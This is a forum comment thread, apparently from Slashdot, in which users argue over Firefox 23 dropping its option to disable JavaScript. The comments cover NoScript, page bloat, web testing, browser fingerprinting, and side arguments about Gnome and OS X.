I've noticed that most of the comments on this page are people being worried about Mozilla taking away functionality from the browser, but... wasn't the point of Firefox to reduce the amount of bloat in the default setup? Mozilla Suite (now Seamonkey, previously Netscape Communicator) wasn't quite Emacs, but it included way more than what many required for their uses, and so Firefox was born to trim all of that stuff out, with the idea that you can add in back in with extensions.

That's where our javascript blocking needs to be happening. Extensions like NoScript, which you can use to block all javascript if you so desire. (Just install it and then don't enable anything.)

Re:Not a big problem

[Anonymous Coward]

Sure a little button to disable javascript that had been there all along thats were the bloat is

Nope, its what Gnome does

[Burz]

Apple tends to keep lots of options in the GUI. They are just layered so the more advanced stuff doesn't immediately get in your face.

OTOH, Gnome is famous for its 'feature dismemberment' habit. If a feature raises questions or requires effort to make sure it works in different system configurations, then its deemed too much trouble and is cut off.

Re:Nope, its what Gnome does

[raque]

So it seems, I just downloaded Fedora with Gnome 3 and I can't make it work - everything is just *gone*. It's been a while since I've dealt with Linux, Apple's habit of saving me from myself has gotten old. I'd like to get kde running but I can't figure out how. Reading the docs might help.

IMHO - since Lion, 10.7, Apple has been more aggressive in streamlining the GUI. Scroll bars went away - then they came back. Utilities were removed - the Network Utility is no longer provided. If you have a copy then keep it, there isn't a new one.

You have the esthetics too. The color has been leached out. Now it looks like it has been washed too often with too much bleach. You can google it and get a list.

Then I tried Gnome ~sigh~

Ugh, Javascipt

[Mobius Evalon]

As long as I can say "fuck you" and completely reverse this design -- whereby script only runs by me whitelisting it -- with a config option, or just good old NoScript, then I can't find the energy to care. I am well aware that I am in a minority of web-savvy users and that a vast majority of the web lets arbitrary scripts run all the time with nary a care in the world, but my current "personal message" on Pidgin sums up my feelings on this matter pretty well: "any website devoid of content without javascript enabled is developed by a fraud and a failure". I had this problem just this afternoon where a DDG search led me to what seemed like a promising result, but all I found was a completely blank page and a big red cross-out on NoScript. Did I temporaily whitelist the domain for the content I was looking for? Hell no, I hit backspace and went to another site designed by someone with half a brain.

It isn't just security but convenience.

[Anonymous Coward]

Some sites have horrid javascript popups and other disabling features that are not required to use the site but merely make it unusable.

http://clientsfromhell.net/ is such a site, it has the annoying feature to create a popup after a period of time asking you to subscribe. It is annoying as hell and the only way to disable it is to disable javascript. This has no effect on the rest of the site.

Power belongs to the user, not designers or developers. It is MY choice and if I screw up, that is my choice as well. I can only conclude that developers who think this is a good idea are the "special" kids who benefited from the no child left behind campaigns but in reality should have died a nice painful and embarrassing Darwinian dead. Chasing the "noob" market is pointless, Fisher Price marketing only works if there is a constant stream of new noobs AND that market is large enough to sustain you. In the computer industry, noobs are just not a market, especially for what is still 3rd party software. Noobs use IE. The very fact that someone install Firefox shows they are not afraid to work with non-standard software and can handle choices.

What next, an easy mode sportscar with power limits you can't switch off for your safety? A sports motor cycle that doesn't allow wheelies? Korean ramen with only enough seasoning to give you a mild spicy taste and not enough to turn your ass into the japanese flag?

There is a market for carebear products, that market is in mothercare and other stores like it. A web browser I got to install myself is NOT in need for the carebear attitude. At most put up a warning when the user disables javascript and leave it at that.

Tried using Links browser recently?

[mrmangosir559]

If you were to be stuck using Links browser under a *nix shell, you'll see lots of websites broken now. Yeah rare these days, that I need to use Links, but its showing now that Javascript is riddled in most websites. In many cases, you cannot even browse their website without Javascript. I highly disagree about removing the option. Or at the very least allow plugins or about:config to disable it. If not, Mozilla will have made a big mistake. It's not the time to assume it should not be disabled.

Re:Web sites that require java script are broken

[dave420]

Really? You're reading a long list of comments, click "like", and the whole page reloads - that's cool?

HTML w/o JS is like code without loops

[bzipitidoo]

You can refuse to use JS, same as you can make programs without loops. Those programs could be very, very, very, very, very, very, very long and redundant, but they could work. Unless you run out of memory. How would you write "99 bottles of beer on the wall, 99 bottles of beer, take one down pass it around, 98 bottles of beer on the wall. 98 bottles of beer on the wall, 98 bottles of beer..."? You could make a giant print statement that has all 99 sentences in the body. That's pretty much how HTML w/o JS has to do it. Limited reuse is possible in pure HTML, but a lot of trouble.

What if I want to provide totals, averages, and other nice bits of math in 2 or more identically structured tables with the data they contain the only difference? Could be something like sports statistics from different seasons. Without JS, all that has to be calculated beforehand and put in the web page. HTML can't do it. You can't tell HTML that column c of a table is the sum of columns a and b, and have the browser do the sums, there's just no way.

Re:HTML w/o JS is like code without loops

[Giant Electronic Bra]

I don't think there should be a universal shunning of Javascript. OTOH it sees a lot of overuse. Given that I browse with NoScript set to "deny everything" and selectively enable (I have a fairly short whitelist) I get a pretty good view of where people are using JS, and they often use it in the strangest and most puzzling places. Half the simple static 'brochure' and 'C/V' pages out there in the world DEMAND JS just to follow ordinary links. Often ones I can't even see the slightest bit of dynamic styling on. 99.9% of all that styling can be achieved in CSS anyway and will work in all but the most archaic of browsers that are out there (and degrades to something useful when it won't work). Surely most of these people would be far better off eschewing scripting as all they're doing is forcing people to either go away or open a security hole in their browsers. The VAST majority of this sort of content is not being run by people who have the slightest ability to manage a server, secure their content, monitor it for corruption, etc. In other words there's no reason why I should NEED to be asked to trust most of these sites when somewhere up to 30% of all legitimate sites nowadays have been compromised.

So, it may be more data to have something like a table as you describe with summaries and rollups, but if that's the only thing you need to stick some JS on the page for me to see I'd as soon you just gave me the longer static page. Its all autogenerated content anyway in this kind of case, so who cares? Worst case its a few extra bytes, and chances are the JS eats up ALL of the advantage, if not more. This way when some nice Russian gentleman adds HIS content to your page, I don't have to allow it to run.

Shared copy of jQuery

[tepples]

Ideally, you download the 97 kB framework once on the first visit to a site, after which it sits in cache. If it's a popular framework like jQuery, you might not even need to download it once per site if web sites transclude a copy of the framework on a CDN. After that, the site can send you 2 kB deltas instead of 100 kB refreshes. I agree with you that excesses exist. They just aren't obligatory like they would be if you had to refresh the whole page all the time.

Re:Shared copy of jQuery

[bingoUV]

Ok, thanks for the information, I am not much of a web developer. Can you give me a way to figure out which framework a particular site is using? Does jQuery cost something? I don't see it in my NoScript blockable domain list, at least.

I am not feeling particularly optimistic about web development of websites I frequent as loading time apparently doesn't enjoy the occasional cached copy of the framework. But I know they are not too stupid, but poor people unable to afford expensive frameworks.

A minor bump in the road for web app testers

[Anonymous Coward]

This is a minor bump in the road for web application testers. I work in such a group, and we have traditionally used the feature built into Firefox to turn off JavaScript. Some of our tests require us to test the app with JavaScript off; now, whether or not the entire app is supposed to be 100% functional without JS, is another question, but we were still required to verify that "whatever behavior is specified in the requirements" presents itself with JS off.

Now, to test this scenario, we'll have to re-write our instructions document to provide a new way to turn off JS. Whether it's about:config or installing NoScript. It doesn't ruin our day, but it does create extra work. We have some team members who would not know of the other available options to turn off JS if they started Firefox and suddenly one day the checkbox in options is no longer available. At least I will be ready for this change when the day comes that testers start testing on Firefox 23 (we don't test betas so we won't see it at LEAST until 23 stable is out, and that's assuming people actually upgrade FF on schedule).

Why I won't go there, firefox

[whitroth]

This is a completely idiotic idea. Oh, users might not see the Wonderful Ads, I mean, Website!

Yeah, and if I get hijacked, or go to something I was searching for answers to, but which turned out to be a fake (like Target, in the US, *always* producing a sponsored ad, no matter what I'm searching for), and is infected? If I don't have javascript enabled, a major attack vector is eliminated.

            mark, who remembers that the *original* spec for the web was to display data the way the *users* wanted,
                                        not the way the data source wanted

Script tag

[tepples]

Can you give me a way to figure out which framework a particular site is using?

Most of the time, the URLs in the src= attributes of the first few <script> elements will give it away.

Does jQuery cost something?

It costs load time, and it costs transmission costs if (on the server side) you have a lot of visitors or (on the client side) your Internet connection is billed by the bit. Hosting jQuery from a CDN is a way for websites to pool these costs.

Different screen sizes discourage hardcoded width

[tepples]

That falls right into the paradigm of "my web page must be the only thing you look at", which is enforced by creating a page that does not scale to the user-specified window size but requires full-screen windows to work right.

The availability of 4", 7", and 10" tablets whose full screens themselves have different widths breaks that paradigm in favor of "responsive design", which uses CSS media queries to switch among several layouts.

Re:Web sites that require java script are broken

[silas_moeckel]

Because url's could never specify where to go on a page and browsers always go back and refresh everything for giggles?

Not Mozilla's Fault

[Cummy]

I'm just an end user but I think that the blame should not be placed solely at Mozilla's feet. We as consumers have not been vocal enough about with excessive "features". the number of scripts and other wonderful features not only makes websites complex but easily breakable. The end result of tackers and loggers and data miners and ..... well you get the picture.Websites should provide interfaces for lite browsers. I see no reason (except data mining) why a website can't provide a basic alternative for lite browsers without all the plugins on the planet. let those who want the customized experience use a full featured browser and those that only need the utility use whatever they want.

I just found this website (http://panopticlick.eff.org/) and discovered that much of my attempts at privacy has been for naught. Three of my browsers were presented as unique out of over 3 Million in their database. Java and js were partly responsible. I've often said, FF rose to the fore because it was lite and secure; now both these attributes are out of the window. Is there any real reason stick with FF now?

The response for a given browser is cached

[tepples]

Say an IE user behind a caching proxy visits a page. The proxy passes the User-agent to the web server, and the web server returns a temporary redirect to the page with IE instructions. Then the proxy caches the fact that the redirect was to the IE page, and the next user comes in with Chrome or Firefox and gets the cached IE page. All the web server can do at that point is throw "Not using Internet Explorer? See instructions for other web browsers" at the top of the IE instructions and hope that the user is smart enough to know what browser he's using, as opposed to "I'm using the Internet".

Seen a bunch of sites work better

[Anonymous Coward]

with javascript disabled Between high cpu usage and other annoyances or something that pops up that don't want to let me see the page... I have found that most sites i browse too work fine without javascript enabled and only a select few absolutely require it to work

Re:Sigh. I prefer to block javascript..

[konoame]

I'm on a very slow internet connection that often fails contacting servers if there are many simultaneous active connections. Hell.. even this ISP seems to have faulty routing to several sites that those sites are forever inaccessible to users, or difficult to access, e.g: Wordpress CDN. Typical news pages that load dozens of scripts from various sites always give me headache since they often fail loaded with broken CSS and images or not showing its contents at all since the script needed cannot be loaded. This is often solved by disabling javascript. Without this option, I'll have to wait 3 minutes or more to read a news page, if I'm lucky... Nevermind I'll use Chrome instead.

It's not about you

[Burz]

People like you and me were not the intended target of the movement that kicked off the 'Year Of The Linux Desktop'.

Your only real complaint there about OS X is Network Utility. As for the far more important Network Manager, is still barely works and gets confused easily. Apple's network management works 200% better, and is packed with options in a consistent UI.

And then there is Unity, which is also half-broken in its own way. I'm using it right now and don't mind it too much (as I know what's going on underneath and can take care of myself), but I would never recommend it or other Linux desktop to a regular user these days. The whole premise is faulty; that you can get an OS to work well when 1) its no one's role to ensure software and hardware are well integrated, and 2) the blame for bugs and omissions is habitually directed 'upstream'.

The list of fundatmental wrongs is actually quite a bit longer than that. Apple and Microsoft created a defacto standard for how a personal computer should behave; that standard was shaped by many also-rans plus users' needs and expectations. The Linux desktop tried to cut across the grain of that PC culture by applying multiple candy coatings half-heartedly over something that is culturally grounded in the server room. The result is that you can't even give it away.

How much?

[Anonymous Coward]

Dear fine people at Mozilla, how much money did you get from big advertisers to remove the option? Your explanation is laughable at best, there are no technical reasons since all webpages that need JS can already show a requester to the user.
Therefore my question remains: how much were you bribed?

http://xkcd.com/386/

[Anonymous Coward]

So let me get this straight... if a browser plugin that is automatically installed and enabled with the browser is part of an exploit it isn't a browser exploit.

The trouble is that every plugin exploit requires the browser. You can't simultaniously argue that an attack vector only accessible by javascript is a javascript exploit but an attack vector only accessible by a browser is not a browser exploit. It's a feeble attempt to muddy something that is really quite simple and try to hide behind semantics that do not support your position.

If you download and install a browser and then your computer is immediately flooded with viruses it is the height of absurdity to say it isn't the browsers fault because one of the included and automatically enabled plugins was a necesssary part of the attack vector. It's totally ridiculous.

Re:http://xkcd.com/386/

[Jah-Wren Ryel]

You can't simultaniously argue that an attack vector only accessible by javascript is a javascript exploit

I never said that, not even once. What I said is that javascript is a dependency for the exploits,

Flaming Firefoxes ?

[Anonymous Coward]

Did mozilla.org decide flaming the internets by removing the JS option will go down well with the masses ?

Firefox 23 to force malware infested javascript

[Anonymous Coward]

I refuse to have javascript. i have turned off the browser updater until this threat is neutralized. I will stick at 22 until this mistake is rectified